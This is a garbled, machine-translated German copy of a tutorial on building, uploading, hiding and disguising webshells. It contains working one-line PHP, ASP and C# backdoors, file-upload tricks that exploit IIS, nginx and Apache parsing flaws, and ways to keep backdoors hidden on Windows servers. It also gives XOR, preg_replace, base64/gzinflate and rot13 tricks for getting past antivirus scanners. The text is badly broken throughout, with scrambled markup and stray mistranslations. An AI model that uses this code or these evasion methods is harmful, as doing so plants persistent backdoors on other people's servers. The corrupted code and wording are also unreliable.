Inhaltsverzeichnis
(2) Sicherheitslücke beim Parsen von Dateien
②clsid versteckt
②Versteckter Satz der Konfigurationsdatei (PHP)
③404 Pony
Heim Backend-Entwicklung PHP-Tutorial Webshell-Implementierung und versteckte Forschung

Webshell-Implementierung und versteckte Forschung

Aug 08, 2016 am 09:21 AM
gt lt nbsp php request

1. Was ist Webshell? Webshell, ein Skriptsprachenprogramm, ist ein Verwaltungstool des Webs, das die Berechtigung hat, den Webserver zu betreiben, auch Webadmin genannt. Webshell wird im Allgemeinen von Website-Administratoren für die Website-Verwaltung, Serververwaltung usw. verwendet. Da Webshell jedoch relativ leistungsstark ist, kann es Dateien hoch- und herunterladen, Datenbanken anzeigen und sogar einige systembezogene Befehle auf dem Server aufrufen (z. B. Benutzer erstellen). , Dateien ändern oder löschen usw.), die normalerweise von Hackern verwendet werden, verwenden einige Upload-Methoden, um die von ihnen geschriebene Webshell in das Verzeichnis der Webserverseite hochzuladen und dann über den Seitenzugriff einzudringen oder durch Einfügen eine Verbindung zum lokalen Computer herzustellen ein Satz Einige verwandte Tools führen direkt Eindringungsvorgänge auf dem Server durch.

  1. Klassifizierung von Webshell

Webshell kann in PHP-Skripttrojaner, ASP-Skripttrojaner und .NET-basierte Skripttrojaner sowie JSP-Skripttrojaner auf Skriptbasis unterteilt werden. Im Ausland gibt es auch dynamische Webseiten, die in der Python-Skriptsprache geschrieben sind, und natürlich gibt es auch damit verbundene Webshells.

    Je nach Funktion wird es auch in „großes Pferd“ und „kleines Pferd“ unterteilt. Der Begriff „Kleines Pferd“ bezieht sich beispielsweise normalerweise auf einen Satz: <%eval request("pass")%> Satz in ein Dokument umwandeln und dann den Dateinamen in xx.asp ändern. Senden Sie es dann an den Server. Hier wandelt die Eval-Methode die Anforderung („pass“) in Codeausführung um. Die Funktion der Anforderungsfunktion besteht darin, externe Dateien anzuwenden. Dies entspricht der Client-Konfiguration eines Ein-Satz-Trojaners. Serverkonfiguration (d. h. lokale Konfiguration):
Standard



1

2action
3

4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<

form
=

http

: //Host path/TEXT.asp method=post>< Textbereich Name=

Wert

Spalten=120Zeilen=10Breite =45> set lP=server.

createObject ("Adodb.Stream")//Erstellen Sie ein Stream-ObjektlP.Offen

//Offen

lP.Typ=

2

//Im Textmodus lP.CharSet=

"gb2312"

//SchriftartstandardlP.writetext request

(

"newvalue")

lP.SaveToFile server.mappath("newmm.asp"), 2//Schreiben Sie den Trojaner-Inhalt in newmm.asp, indem Sie die Datei überschreiben. 2 ist die überschriebene Methode

lP.Schließen//Schließen Sie das Objekt

set lP=nothing//Release object

Antwort.weiterleiten"newmm.asp"//weiterleiten zu newmm .asp

</textarea>

<textarea name=newvalue cols=120Zeilen=10Breite=45> (Fügen Sie den Inhalt hinzu, um den Trojaner zu generieren)

</textarea>

<BR>

<Mitte>

< br>

<Eingabe Typ=Submit Wert = Senden>

Hier wird der Trojaner durch Absenden des Formulars übermittelt. Die spezifische Methode besteht darin, eine Objekt-IP zu definieren und dann den Inhalt in Newvalue in Textform zu schreiben (der Inhalt von Newvalue befindet sich im Textbereich). Definition), schreiben Sie, um durch Überschreiben eine ASP-Datei zu generieren, und führen Sie dann dieses Skript aus. Der Wert im Client stellt den Namen des Formulars dar, der mit dem Formularnamen in der Post-Übermittlung des Servers (lokaler Computer) identisch sein muss. Daher kann der Wert hier ein beliebiges Zeichen sein, das einem Passwort oder ähnlichem entspricht , aber das „Passwort“ ist im Klartext und kann abgefangen werden. Das Ein-Satz-Prinzip von PHP ähnelt dem oben genannten Prinzip, das heißt, der Unterschied in der Sprache führt zu einer unterschiedlichen Syntax. So funktionieren Ponys im Grunde.

Malaysias Arbeitsmodell ist viel einfacher. Es gibt keinen Unterschied zwischen dem Client und dem Server. Einige Skriptexperten haben die Sicherheitslücke direkt nach Malaysia hochgeladen. Kopieren Sie dann die malaysische URL-Adresse und greifen Sie direkt darauf zu, um Penetrationsarbeiten auf dem Webserver auf der Seite durchzuführen. Da Da Ma jedoch über viele Funktionen verfügt, ist die Größe relativ groß und kann das Upload-Limit der Website überschreiten. Die Größe von Da Ma kann jedoch gesteuert werden (z. B. Kopieren). Code mehrmals oder fügen Sie den Code in eine verstümmelte Datei ein, aber Xiaomas Vorgang ist umständlicher. Sie können zuerst Xiaoma hochladen, um die Webshell zu erhalten, und dann Xiaoma hochladen, um den Server über Xiaomas Verbindung zu erhalten.

2. So laden Sie eine Webshell hoch

1. Analyse der Schwachstellen-Upload

Jetzt gibt es verschiedene Webserver-Programme für verschiedene Webserver-Systeme, Windows-Seite ist iis, und der Mainstream unter Linux ist nginx. Diese Dienste stellen eine große Hilfe beim Aufbau von Webservern dar, bringen jedoch auch versteckte Gefahren für den Server mit sich. Diese Server weisen einige Schwachstellen auf, die von Hackern leicht ausgenutzt werden können.

(1)iis-Verzeichnis-Parsing-Schwachstelle

Zum Beispiel: /xx.asp/xx.jpg
Obwohl die hochgeladene JPG-Datei, wenn die Datei in xx.asp ist Ordner, dass iis die Bilddatei als xx.asp analysiert. Diese Sicherheitslücke besteht in der Version iis5.x/6.0.

(2) Sicherheitslücke beim Parsen von Dateien

Zum Beispiel: xx.asp;.jpg. Beim Hochladen der Webseite wird die JPG-Datei erkannt, aber nach dem Hochladen wird sie von iis nicht analysiert. Nachfolgende Zeichen analysieren die Datei ebenfalls in eine ASP-Datei. Diese Sicherheitslücke besteht in den Versionen iis5.x/6.0.

(3) Dateinamenanalyse
Zum Beispiel: xx.cer/xx.cdx/xx.asa. Unter iis6.0 werden CER-Dateien, CDX-Dateien und ASA-Dateien als ausführbare Dateien behandelt und der darin enthaltene ASP-Code wird ebenfalls ausgeführt. (Die ASA-Datei ist eine ASP-spezifische Konfigurationsdatei und CER ist die Zertifikatsdatei).

(4) Schwachstelle beim Fast-CGI-Parsing

Laden Sie das Bild xx.jpg hoch, wenn Fast-CGI auf dem Webserver aktiviert ist. Der Inhalt ist:

Default

1

fputs(fopen('shell.php','w'),'eval($_POST[shell])?>');?>

1 < ;?phpfputs(fopen('shell.php','w'),' <🎜>eval<🎜>(<🎜>$_POST<🎜>[<🎜>shell<🎜>]<🎜>)<🎜>?>') ;?> tr >

Der hier verwendete Fput erstellt eine Shell.php-Datei und schreibt einen Satz. Durch den Zugriff auf den Pfad xx.jpg/.php wird in diesem Pfad ein Trojaner mit einem Satz „shell.php“ generiert. Diese Sicherheitslücke besteht in IIS 7.0/7.5 und Nginx-Versionen unter 8.03. Gebietsschema: PHP, Prel, Bourne Shell, C und andere Sprachen.

*Hinweis: Fast-CGI ist eine aktualisierte Version von CGI und bezieht sich auf eine Schnittstelle, die eine Mensch-Computer-Interaktion auf dem Server ermöglicht. Da CGI bei jeder Ausführung einen Prozess mit einem Fork starten muss, wird Fast-CGI jedoch immer nach der Aktivierung ausgeführt und es ist nicht erforderlich, für jede Anforderung einen Prozess zu forken. Es benötigt weniger Speicher als gewöhnliches CGI.

(5) Apache-Parsing-Schwachstelle
Die Art und Weise, wie Apache analysiert, erfolgt von rechts nach links. Wenn die Analyse nicht erfolgreich ist, möchte sie eine nach links verschieben, aber das Hochladen im Hintergrund hängt normalerweise davon ab Das Suffix ganz rechts, daher kann das Pferd xx.php.rar genannt werden, da Apache es nicht als PHP analysieren kann, aber der Hintergrund-Upload-Punkt analysiert es als RAR und umgeht es somit. Einschränkungen beim Hochladen von Dateisuffixen

2. Hochladen abschneiden

Benennen Sie beim Hochladen von Bildern beispielsweise 1.asp .jpg (nach asp steht ein Leerzeichen). Verwenden Sie beim Hochladen NC oder burpsuite Grab das Formular und fügen Sie asp nach dem Upload-Namen hinzu

c:>kopieren3.asp .C:aux.asp

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.png

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image022.jpg
Erstellen Sie eine aux.asp im Laufwerk C. Diese Datei kann in der grafischen Oberfläche nicht gelöscht werden.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png
Zum Löschen müssen Sie den Befehl del verwenden.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png
Es gibt keine Aufforderung nach dem Löschen, aber die Datei ist tatsächlich verschwunden.
Natürlich kann mit dieser Methode eine Webshell erstellt werden, die nicht über die grafische Oberfläche gelöscht werden kann. Wenn sie jedoch direkt im Stammverzeichnis der Webseite abgelegt wird, wird sie von einem erfahrenen Netzwerkadministrator trotzdem gelöscht sieht es.

②clsid versteckt

Jedes Programm in Windows hat eine clsid. Wenn Sie einen Ordner x.{program clsid} nennen, geben Sie die folgenden zwei Befehle ein:
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image026.jpg
Nach der Erstellung
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png

Klicken Sie, um das Kontrollfeld aufzurufen, aber tatsächlich ist die Datei immer noch ein Ordner, und Malaysia kann auch einen solchen Ordner mit einer clsid erstellen und ihn als das entsprechende Programm bezeichnen Geben Sie als Netzwerkadministrator beispielsweise den Papierkorbordner ein, um einen Ordner mit der Papierkorb-CLSID zu erstellen, und kopieren Sie ein reserviertes Wort „asp“ hinein. Sie können auch

Standard verwenden

1

attrib h s r d/s/d

1

attrib
h
s

r

d

/

/

d

1

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png

Ändern Sie die Eigenschaften der Datei und verbergen Sie sie standardmäßig nicht Dateien werden angezeigt und der Papierkorbordner wird automatisch erstellt, sodass eine unsterbliche Webshell auf dem Server ausgeblendet werden kann. ③Technologie zum Ausblenden von Treibern Das Prinzip besteht darin, dass das System im Windows-Dateisystem beim Öffnen eines Ordners eine IRP_MJ_DIRECTORY_CONTROL-Funktion sendet. Diese Funktion kann einen Puffer zuweisen und die Informationen Durch das Durchlaufen der Unterordner wird der Ordner im Puffer gespeichert. Wenn die Dateinamen übereinstimmen, wird der aktuelle Ordner oder die aktuelle Datei umgangen. Ich habe den Code überprüft. Nach meinem Verständnis wird beim Abfragen der Zieldatei der Offset der Datei basierend auf dem durchlaufenen Zeiger hinzugefügt. Der Zielordner wird nicht gescannt, sondern direkt übersprungen. Was die Implementierung dieser Technologie betrifft, so ist sie aufgrund der Unterstützung von Header-Dateien und der Systemunterstützung (die Dateisysteme verschiedener Systeme werden unterschiedlich sein) schwierig zu bedienen, obwohl es im Internet viele C-Quellcodes gibt. . Ich habe das Programm Easy File Locker online gefunden und muss es auf dem Webserver installieren und Berechtigungen für die Zieldatei festlegen. Standardfile:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
1Datei:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png
Zu den Berechtigungseinstellungen gehören „lesbar“, „schreibbar“, „löschbar“ und „sichtbar“.

Standard

1

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg

1 td>

file
:
///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg

Wie Sie im obigen Bild sehen können, haben wir es ausgeblendet. Wie bereits erwähnt, wird der absolute Pfad direkt umgangen Zugegriffen werden kann. Mein Verständnis ist:

1
2
3
4

c:WINDOWSxlkfs.dat

c:WINDOWSxlkfs.dll

c:WINDOWSxlkfs.ini

c:WINDOWSsystem32driversxlkfs.sys


Standard

c:WINDOWSxlkfs.dat c:WINDOWSxlkfs.dll c:WINDOWSxlkfs.ini c:WINDOWSsystem32driversxlkfs.sys
tbody>
1
2
3

4

c
:
WINDOWS
xlkfs

.

dat

:

WINDOWS

1

include($include);?>

xlkfs.dllc:WINDOWSxlkfs.inic:WINDOWSsystem32Treiberxlkfs.sys
Diese 4 Dateien ersetzen die Traversal-Abfrage, indem der absolute Pfad nicht eingegeben wird, sondern die Abfrage über die oben genannten 4 Dateien erfolgt Dies entspricht der Erstellung eines separaten Treibers für versteckte Dateien. Um nicht vom Administrator entdeckt zu werden, können Sie das Easy FileLocker-Programm löschen, aber Sie können die oben genannten 4 Dateien nicht löschen. Nachdem Sie das Programm gelöscht haben, können Sie weiterhin darauf zugreifen, indem Sie den absoluten Pfad eingeben, wodurch die Funktion des Ausblendens der Hintertür erreicht wird④Registrierung ausblendenRegistrierungspfad: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALL In diesem Pfad befindet sich ein CheckedValue-Schlüssel. Ändern Sie ihn in 0. Wenn kein CheckValue-Schlüssel vorhanden ist, erstellen Sie direkt einen und weisen Sie ihm den Wert 0 zu. Dann wird die erstellte versteckte Datei vollständig ausgeblendet, auch in Auch die nächste Option „Alle Dateien anzeigen“ kann nicht angezeigt werden. (2) Ein-Satz-Trojaner versteckt ①Header-Datei-Inklusion verstecktIn einigen Skriptdateien im Web haben einige Dateien Include-Anweisungen, Sie können diese verwenden. Dieses Include Die Methode enthält eine Satzdatei und diese Sätze werden beim Zugriff auf diese Seite direkt aufgerufen. asp include-Anweisung: , geben Sie den Pfad direkt ein, und der Dateipfad ist der Pfad auf dem Webserver. Sie können Webmaster Stop verwenden, um einen Satz von NTFS-Stream-Pony in das Bild zu schreiben. Nachdem Sie das „“ in „:“ im Pfad geschrieben haben, wird das Bild nicht angezeigt und dann gefunden Gehen Sie zu einer ASP-Datei auf dem Webserver und schreiben Sie eine Include-Anweisung am Anfang der Datei, <🎜><🎜>php enthält die Anweisung: <🎜><🎜><🎜><🎜><🎜><🎜>Default<🎜><🎜><🎜><🎜><🎜><🎜 >
1
<🎜>include<🎜>(<🎜> $ include<🎜>)<🎜>;<🎜>?>

$include kann hier ein externer Pfad sein, wie zum Beispiel:

http://www.aaa.com/1.php?Include=http://www . bbb.com/hehe.php

Der Inhalt von 1.php auf dieser AAA ist

Standard

1

include($include);?>

1
<🎜>include<🎜>(<🎜>$include<🎜>)<🎜>;<🎜>?>

bedeutet Inklusion. bbb ist ein externer Server, sofern dieser Server PHP nicht unterstützen kann. Andernfalls wird hehe.php (dh ein Satzpferd) auf dem BBB-Server ausgeführt, aaa jedoch nicht.

②Versteckter Satz der Konfigurationsdatei (PHP)

Nachdem Sie die PHP-Webshell erhalten haben, können Sie php.ini verwenden, um Dateien auszublenden und Konfigurationsdateien zu bearbeiten Inhalt einer bestimmten Datei in die Kopf- und Fußzeile einer beliebigen Schnittstelle einfügen:
auto_prepend_file =hehe.php
Dann schauen Sie sich
include_path an = „E:PHPnow-1.5.6htdocs;“
Diese Konfigurationsinformationen geben den Speicherort der Sammlung zum Laden der Kopf- und Fußzeile an. Die Pfadregel ist „path1;path2“, was bedeutet, dass Der Ordner im Pfad 1 wird die Kopf- und Fußzeilendateien zu den Dateien im Pfad hinzufügen, da hier ein „.“ den Stammpfad angibt, was dem Hinzufügen zur Homepage entspricht, und dann einen Satz in das Hehe schreiben .asp-Datei, und das ist es. Fügen Sie die Header-Funktion über PHP hinzu und schreiben Sie einen Satz auf der Homepage der Website.

③404 Pony

404 Pony zeigt beim Zugriff eine 404-Seite an, die tatsächlich nicht vorhanden ist. Im Allgemeinen können Sie den Trojaner-Code fünfmal drücken, um ihn zu entfernen es raus.

4. Ein Satz über Webshell-Antivirus und Antivirus

1. Konstruktionsmethode zur Umgehung der Erkennung (PHP)

Allgemeine Erkennungsprogramme filtern „_POST“. Für Zeichen wie „system“ und „call_user_func_array“ können Sie derzeit einige Erkennungsprogramme verwenden. Das Grundprinzip besteht darin, dass jedes Zeichen in PHP einem Binärwert entspricht XOR-Wert von zwei Zeichen.
Sieht zum Beispiel wie der Code aus

Standard

1
2
3
4
5
6
7
8

@$_ ; // 这里 让’_’自加1

$__=("#"^"|"); // _

$__=("."^"~"); // P

$__=("/"^"`"); // O

$__=("|"^"/"); // S

$__=("{"^"/"); // T

?>

1
2
3
4
5
6
7
8
<🎜><🎜><🎜>@<🎜>$_<🎜> <🎜>;<🎜>                                                              ><🎜>< 🎜><🎜><🎜><🎜><🎜>$__ <🎜>=<🎜>(<🎜>"#"<🎜>^<🎜>"|"<🎜>)< 🎜>;<🎜> <🎜>// _<🎜><🎜><🎜> <🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜 >$__<🎜>=<🎜>(<🎜>"."<🎜>^ <🎜>"~"<🎜>)<🎜>;<🎜>                                                     <🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜> $__<🎜>=<🎜>(<🎜>"/"<. 🎜>^<🎜>"`"<🎜>)<🎜>;<🎜>                                          <🎜><🎜><🎜 ><🎜>< 🎜>$__<🎜>=<🎜>(<🎜>"|"<🎜>^<🎜>"/"<🎜>)<🎜>;<. 🎜>                                                                         🎜>=<🎜>(<🎜>" {"<🎜>^<🎜>"/"<🎜>)<🎜>;<🎜>                                                      🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜>< 🎜>?>

Dann können die Struktur und ein Satz als

Standard geschrieben werden

1
2
3

@$_ ;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST

@${$__}[!$_](${$__}[$_]);?>

1
2
3

@

$_
;

$__

=

(

"#""|"

)

.

1

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")

(

"."

^

"~"

)

.

(

" /"
^

"`"
)
.
(

"|"^"/").

(

"{"

^)

;

 

1

2

3

4

functionfunfunc($str){}

echopreg_replace("/(. ?)/ies",'funfunc("1")',$_POST["cmd"]);

?>

// Der Wert von $__ ist _POST @${$__}[!$_](${ $__}[$_]);?>
// Das Ergebnis ist @ $_POST[0]($POST[1])!$_ stellt das Gegenteil von 1 dar. In der Sprache steht 1 für wahr und das Gegenteil ist 0 (falsch) Aber diese Bypass-Methode ist ziemlich schwach, auch wenn es sich um das XOR des Binärwerts zweier Zeichen handelt, wenn wir ein bestimmtes Zeichen verwenden möchten, wenden wir dennoch den Wert dieses Zeichens an Zeichen, wie zum Beispiel Default$__=("#"^"|").(" ."^"~").("/" ^"`").("|"^"/").("{"^"/") Der Binärwert von tbody>
1
$__=("#"^"|").(" ."^"~" ).("/"^"`").("|"^ "/").("{"^"/")
ist derselbe wie der Wert des _POST-Zeichens, wenn das Erkennungsprogramm den Wert von erkennt Der Binärcode wird trotzdem getötet. 2. Methode zum Ersetzen regulärer Ausdrücke (PHP) In PHP gibt es eine Funktion preg_replace(), die das Ersetzen regulärer Ausdrücke realisieren kann. Die Verwendung der Substitution zur Umgehung des Erkennungssystems erfordert auch eine Funktionsfunktion in der PHP-Skriptsprache. Wenn die Funktion aufgerufen wird und der dem formalen Parameter in der Funktion zugewiesene Wert einen Befehl enthält, wird der Befehl ausgeführt. Standard(. ?)/ies",'funfunc("1")', $_POST["cmd"]); ?>
1
2
3
4
<🎜><🎜><🎜>function<🎜><🎜>funfunc< 🎜>(<🎜>$str<🎜>)<🎜>{<🎜>}<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜> <🎜>echopreg_replace<🎜>(<🎜>"/(. ?)/ies",'funfunc("1")',$_POST["cmd"]);?>

Der obige Code ist ein Ersetzungsprozess. Erstellen Sie zunächst eine leere Funktion und verwenden Sie dann die Funktion preg_replace, um </title> zu ersetzen ; in der Form cmd. (Hier ist das Thema in HTML) Schreiben Sie den Wert in das Beitragsformular als <blockquote><div align="left"><title>{${phpinfo()}}</title> ;</p></blockquote> <div align="left"> (natürlich kann phpinfo() hier durch andere Befehle ersetzt werden), durch Ersetzen wird es zu </p><blockquote><div align="left">funfunc({${phpinfo()} })</p></blockquote><div align="left">Da ${} den Inhalt in {} analysieren kann, kann die PHP-Info hier reibungslos ausgeführt werden. </p><p>3. Methode zur sofortigen Generierung (PHP) </p><div align="left">Bei Verwendung der Header-Datei-Einbindung wird die enthaltene Header-Datei PHP einfach vom Scanner gescannt. Zu diesem Zeitpunkt können Sie file_put_content verwenden, um eine Datei zu erstellen . Darin ist ein Satz wie PHP geschrieben. Generieren Sie das Pferd, bevor Sie darauf zugreifen. Diese Funktion ist jedoch relativ empfindlich und kann leicht getötet werden. </p><p>4. Vermeidungsmethode (ASP) </p><div align="left">Da einige ASP-Server <%,%> filtern, um einen Satz Kauderwelsch zu verhindern, können Sie Folgendes verwenden: <div align="left"> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Standard</span></p> <p><textarea read data-settings="dblclick"><scriptlingual=VBScriptrunat=server>execute request("cmd")</Script></textarea> </p> <p></p> <table> <tbody><tr><td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41b4537101191-1">1</div> </td> <td> <p></p> <p><span><<span>scriptlanguage<span>=<span>VBScriptrunat<span>=<span>server<span>><span>execute <span>request<span>(<span>"cmd"<span>)<span><<span>/<span>Script<span>></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41b4537101191-1">1 <td><div align="left"><<div align="left">script language</p>=<div align="left">VBScriptrunat<div data-settings=" minimize scroll-mouseover">=<div data-settings=" show">server<p>><span title="含多种语言">execute <span> Anfrage </span>(</span>"cmd")<<p>/<textarea read data-settings="dblclick">Skript</textarea>><p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41ba878449212-1">1</div> </td> <td> <p></p> <p><span><script <span>language<span>=<span>"C#"<span><span>runat<span>=<span>"server"<span>><span>WebAdmin2Y<span>.<span>x<span>.<span>y<span><span>aaaaa<span><span>=<span><span>new<span><span>WebAdmin2Y<span>.<span>x<span>.<span>y<span>(<span>"add6bb58e139be10"<span>)<span>;<span></script></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> </div></td> </div> </td></tr></tbody> hat die gleiche Funktion, aber in einer anderen Form. Bestimmte Skriptsprache vermeiden: aspx ein SatzStandard<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script><table><tbody><tr> <td data-settings="show"><div data-line="crayon-559e92dfe41ba878449212-1">1</div></td> <td><script <🎜>Sprache<🎜>=<🎜>"C#"<🎜><🎜>runat<🎜>=<🎜>"server"<🎜>>WebAdmin2Y .x.yaaaaa=neuWebAdmin2Y.x.y("add6bb58e139be10");</script></td> </tr></tbody></table> <div align="left">这里使用C#语言写一句话马。<p>5.拆分法(asp)</p> <div align="left">将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。<div align="left">还有拆分法加强版:<div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span title="含多种语言"><span>Default</span></span></p> <p><textarea read data-settings="dblclick"><%IfRequest("MH")<>"" Then Execute(Request("MH"))%> <%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41ca643242287-1">1<div data-line="crayon-559e92dfe41ca643242287-2">2</div> </div> </td> <td> <p></p> <p><span><%<span>IfRequest<span>(<span>"MH"<span>)<span><><span>""<span><span>Then<span><span>Execute<span>(<span>Request<span>(<span>"MH"<span>)<span>)<span>%></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> <p><span><%<span>if<span><span>request<span>(<span>"MH"<span>)<span><><span>""<span>thensession<span>(<span>"MH"<span>)<span>=<span>request<span>(<span>"MH"<span>)<span>:<span>end<span><span>if<span>:<span>ifsession<span>(<span>"MH"<span>)<span><><span>""<span><span>then<span><span>executesession<span>(<span>"MH"<span>)<span>%></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div align="left">以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。<p>6.乱码变形(ANSI->Unicode加密)</p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span title="含多种语言"><span>Default</span></span></p> <p><textarea read data-settings="dblclick"><%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41d1811159800-1">1</div> </td> <td> <p></p> <p><span><%<span>eval<span><span>request<span>(<span>"#"<span>)<span>%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”</span></p> </td> </tr></tbody></table> <div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Default</span></p> <p><textarea read data-settings="dblclick">eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41d8590140859-1">1</div> </td> <td> <p></p> <p><span>eval<span>(<span>eval<span>(<span>chr<span>(<span>114<span>)<span>+<span>chr<span>(<span>101<span>)<span>+<span>chr<span>(<span>113<span>)<span>+<span>chr<span>(<span>117<span>)<span>+<span>chr<span>(<span>101<span>)<span>+<span>chr<span>(<span>115<span>)<span>+<span>chr<span>(<span>116<span>)<span>)<span>(<span>"brute"<span>)<span>)<span>%<span>&<span>gt<span>;</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div align="left">上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为<div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span title="含多种语言"><span>Default</span></span></p> <p><textarea read data-settings="dblclick"><%eval (eval(request("brute"))%></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41de679898723-1">1</div> </td> <td> <p></p> <p><span><%<span>eval<span><span>(<span>eval<span>(<span>request<span>(<span>"brute"<span>)<span>)<span>%></span></p> </td> </tr></tbody></table> <p>7. Malaysias Antivirenschutz </p> <p> (1) Base4code-Kodierung </p> <div align="left"> <p>Malaysias Antivirenschutz kann durch Konvertieren erhalten werden Malaysischer Code Komprimieren Sie, verwenden Sie nach der Komprimierung den Base4-Verschlüsselungsalgorithmus und fügen Sie am Ende </p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Default</span></p> <p><textarea read data-settings="dblclick"> hinzu Malaysia @eval(gzinflate(base64_decode($code)));</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41e4037351059-1">1</div> </td> <td> <p></p> <p><span>@<span>eval<span>(<span>gzinflate<span>(<span>base64_decode<span>(<span>$<span>code<span>)<span>)<span>)<span>;</span></span></span></span></span></span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41e4037351059-1">1</div> </td> <td>@eval(gzinflate(base64_decode($code)));</td> </tr></tbody></table> <div align="left"> kann das Skript ausführen. Unter anderem wird die Variable $code zum Speichern des Base4-Codes verwendet. Während der Ausführung wird er zunächst von gzinflate dekomprimiert und in eval ausgeführt. Tatsächlich kann dies nicht wirklich vor dem Abtöten geschützt werden. Base4code und eval sind weiterhin in der Feature-Code-Liste enthalten und werden auch beim Durchlaufen des Scanners abgetötet. <p> (2) ROT13-Kodierung (PHP) </p> <div align="left">str_rot13 ist eine Funktion, die von PHP zur Kodierung verwendet wird. Es kann beispielsweise zum Codieren von Skriptcode verwendet werden, um die Signaturerkennung zu umgehen. <blockquote><div align="left">file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png<div align="left">Die strrev-Funktion im Bild wird verwendet, um Zeichen umzukehren, um der Erkennung von Signaturen zu entgehen , Die Zeichen werden zusätzlich durch „.“-Symbole getrennt. <div align="left">Die von den drei str_rot13 im Bild verschlüsselten Zeichen sind gzinflate, str_rot13, base64_decode, was einer dreifachen Verschlüsselung entspricht und auch die beiden Funktionscodes gzinflate und base64_decode vermeidet. Aber an str_rot13 führt kein Weg vorbei. Es ist möglich, dass einige Antivirensoftware auch str_rot13 als Funktionscode verwendet. <div align="left">ROT13 wird zu Rotation 13, was bedeutet, dass der Positionswert des aktuellen Zeichens im Alphabet minus 13 verschlüsselt wird. Verschlüsseln Sie es zweimal und es wird auf seinen ursprünglichen Wert zurückgesetzt. Aufgrund des festen Algorithmus ist die Verschlüsselungsstärke jedoch nicht stark. Und die Methode zum Knacken ist äußerst einfach: Verschlüsseln Sie einfach eine Seite. <p> (3) Andere Codes </p> <div align="left"> Im Allgemeinen verwenden Antivirensoftware und Scanner Signaturcodes, um festzustellen, ob ein Virus vorliegt. Im Allgemeinen werden zum Verschlüsseln Verschlüsselungsfunktionen in PHP- oder ASP-Skripten verwendet und Bypass-Scanner (wie base4, rot13 usw.), aber ich denke, Sie können Ihren eigenen Verschlüsselungsalgorithmus schreiben und dann Ihren eigenen Verschlüsselungsalgorithmus verwenden, um den Skriptcode zu verschlüsseln, um ihn zu umgehen. Sie können einige Ideen von Verschlüsselungsmethoden wie Caesar-Verschlüsselung und Shift-Verschlüsselung verwenden, einen Verschlüsselungsalgorithmus schreiben und dann den Skriptcode verschlüsseln. Dann verschwinden Feature-Codes wie base4 und rot3, oder Sie können problemlos selbstgemachte Verschlüsselung verwenden. Der Algorithmus verschlüsselt die Signatur und entschlüsselt sie dann bei Verwendung. 